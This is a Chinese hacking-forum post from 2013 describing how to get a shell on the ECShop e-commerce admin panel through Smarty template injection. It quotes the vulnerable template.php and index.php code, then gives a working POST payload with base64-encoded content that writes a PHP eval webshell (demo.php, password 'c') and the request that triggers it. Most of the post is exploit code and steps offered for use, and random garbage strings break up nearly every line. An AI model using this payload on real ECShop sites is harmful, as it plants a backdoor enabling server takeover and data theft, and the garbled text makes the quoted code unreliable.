找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2442|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* Z7 k" D: o, n! z* P- l: b! K; N
/ R& A1 q5 ?7 |* {. u而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
& Y9 k5 @! Z7 H  g3 ^) d但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ _$ D' n) p( @& {% q) O& fadmin/template.php# F5 C  r9 `+ P% I

4 k! o7 K1 V$ p9 k' {1 if ($_REQUEST['act'] == 'update_library')
% H$ h! I, Q3 H' k9 {( C1 T! U8 P. d" F, D
2   + k9 F- @9 J7 E9 J$ I4 N  p; J

5 t* p6 b& [4 {3 {
0 C  H# p: z- x) }
' w: C! j2 I$ |4     check_authz_json('library_manage');
% I, G$ W: Y5 [: Y1 e; x) u; f8 r$ v; h/ F
5   5 A% ^0 O% Z# k; {8 w

9 K3 Y" S6 J4 C3 A5 t9 Z: m6     $html = stripslashes(json_str_iconv($_POST['html'])); ( X& o, h/ i. K6 w4 t3 U5 E

  ]/ G# ]4 I, g' B" D7   3 |- N0 {0 e5 T! v& P3 F0 o

( l% ~- z) D4 ~* i- i: |- [8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
8 b  U: `) g, J" J. u7 e) }
$ _! q4 D' f6 X' p8 f" z* e8 `- O9   
0 p7 h$ W2 d: ~7 y$ [. p: o" v, J
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
, c  B* O7 ?8 G( x( C
/ f, H) c  D* X" B4 n8 M11   
; f. g# W; t! n7 Z$ M0 z# V$ I+ ^
; _- S! U7 c) s: M* `12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
! p# ^8 j4 ^* j/ h8 U
2 k2 [3 n( A" w( [# h13   
2 k. u! x0 ?+ x  M
, G7 T+ a9 Y5 T- r$ D14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 3 N  u% j- S, E" F. V' q7 s8 {6 Q
# k* i1 ^- l- x& ?, |" h
15     { ) j2 }9 {3 `& \( s
7 R1 t9 A( y- ?$ \4 u+ o
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 R, m: c8 Y. @9 M5 f1 G" [
$ D; g. A- w6 O8 Y5 ^. c7 r17         make_json_result('', $_LANG['update_lib_success']); $ o( R. h# \: x) A8 ]+ b

- W# ^& o) z/ w* y18     }
& H/ b. K; t. ?5 H
9 u4 ?3 L  D7 P4 I2 H/ x9 W19     else % Y! `) V" {6 a& s) C( M
- ~' l- h0 c7 X
20     {
) ~: V; R. u: l+ ?0 d$ u* t% X. T2 n
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 M2 ^/ I3 w' o5 g4 G* G. P

+ E6 c" ]' v1 }3 O6 x. {$ E22     } 3 {: H  C$ H1 A, B
' B1 f+ e' }/ i! J" t; d* c
23 }
) A& P- n. a# e5 B; ?$ V; {3 F  I! _
那么找个比较方便调用了模板的文件$ m+ F# [+ _0 {% c6 |7 B
index.php1 {0 n2 T3 p) G( p: m

# o; D& M- h: H9 R8 J/ H- ^1 if ($act == 'cat_rec')
* ?& f4 Z) b0 F' h
3 ?9 O4 H/ D0 i. b2 [9 w2   
" u0 {* C  j( G) M) G5 l; e/ R+ N! X$ H: |' k9 Q3 f( s
3 { 3 V, t8 Z1 E3 m1 t9 y0 v

" Z- S8 s, |& m0 R4   " ]* r- H2 I/ J' t) S

9 V, i6 P$ S- c5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; D1 H( d3 T$ K7 j$ n5 n6 Z
, O; a" V- u2 U$ R% [6   
" i7 F. W& V& H
5 D2 k" ~3 Z/ m) V/ ]1 o" B% ~) Q7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 X+ e6 U' n3 E( `6 ]
$ z* t$ K. E1 Z  ?8   
* K' M8 ?1 W# D6 f- M
5 t( N0 m- t. {, M, t0 P& k' E9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; % E8 [$ W* x; l/ B, y1 d5 O& n

- |) C5 a9 F6 ?, m+ T7 b3 m10   1 `. y: Q& K- o* q/ Q6 Y1 E8 @+ _* g
  b" B% C9 {7 c/ y
11     include_once('includes/cls_json.php');
: V9 X' ~7 J/ o- [4 X2 {. X
4 Y5 |+ Y, ?$ r& C# ?! k, x( u" \12   4 s9 y$ v. I4 c
/ n' Q5 Y" h8 v$ w6 ^+ I
13     $json = new JSON;
, \, J/ k  r. b$ ]6 V6 \
' h; R4 D, Q& E- T7 ]14   6 a9 h* m1 |5 T. c7 d2 g

  k0 |& c: ]& i15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ( E! [# B, a. c' c8 Z! L( j
8 e" f7 }* c7 \* _$ w
16   
) b3 @7 d9 U/ V/ ?" I8 Q# o- u8 n6 Q' d9 `; P
17     $children = get_children($cat_id);
* b! R7 \& K0 X5 V; g0 m6 K5 X
+ m- u0 [) h& t* Z7 L4 Y9 b* @18   
2 W) O( q; n! L( t: P( A7 G
7 A9 r& z1 P2 [: D9 X19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
7 F: e3 e* ~1 e( p1 Z3 p8 L2 G7 C7 t4 U2 V5 ~+ Q7 h! C/ G  v
20   + T- W% ]; h9 z

  Q3 M* r. _: V- u1 z21     $smarty->assign('cat_rec_sign', 1);
7 F8 ^  U( k- m5 x/ ~  O
2 d8 R7 K, o/ K& T0 x22   
3 w3 [6 ~/ P8 D8 \$ Y$ P, d- H+ b0 j! h3 S! h9 C
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ R: d. n6 R8 [9 }/ P' K
1 M% t( |  j# K0 j4 I: |24   7 `9 r: d' R3 w
/ C: ^! F5 f6 ~: p& Z
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 S# d$ X7 i+ W' o; o& }! B. {/ v
& m7 R) u- f# z
26   
  M" h& Z* y' _/ n0 m8 f; L9 h$ I- c' _: x( D3 Z& N* y$ Z2 Q2 {' q$ {
27         echo $rec_array[$rec_type];
2 H% g6 x+ S/ v4 ]: |' o1 K2 }, L3 A7 H# j( H4 v0 h/ B- H
28   
3 O1 M+ C# p" \  v# ?$ F# M8 K
* d+ d! T! a7 J; _29     die($json->encode($result)); 6 S2 l) {7 d9 f3 k! d" J
! z$ z- Z' k; L! G4 t
30   
% k5 M. s4 g# V) Q5 ~" ~" A/ x4 e+ s( q; J" p: d' S
31 } ) K0 |2 \$ F- o6 z* {

0 E1 v6 r  }6 M) G4 E) t- w: x7 ?那么就有利用方法了5 j8 R7 i) i9 c' m
post包到http://localhost/ec/admin/template.php?act=update_library
. [* M+ }, O! \Post内容:4 j9 E% ~$ }+ [  p1 X. H& a
- P5 n& P2 }; w4 q' S  \& y6 D; t

. {5 f# b/ }; @* A! h5 J3 [2 K1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 8 Q; B" {4 W2 g! n- x. O( n: l

, z. y7 S6 G- e% i( @3 Q3 U4 J* c然后访问http://localhost/ec/index.php?act=cat_rec! ]2 d+ u1 R: v7 I
- Q  v2 L+ d6 \' x
shel地址:http://localhost/ec/demo.php
  T5 i/ Z4 D. F2 [/ p4 ]密码c
) t# P: X  }5 E/ F; s$ t- L
0 O" C( {8 G3 d4 C4 ?! }, b+ p3 P( _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表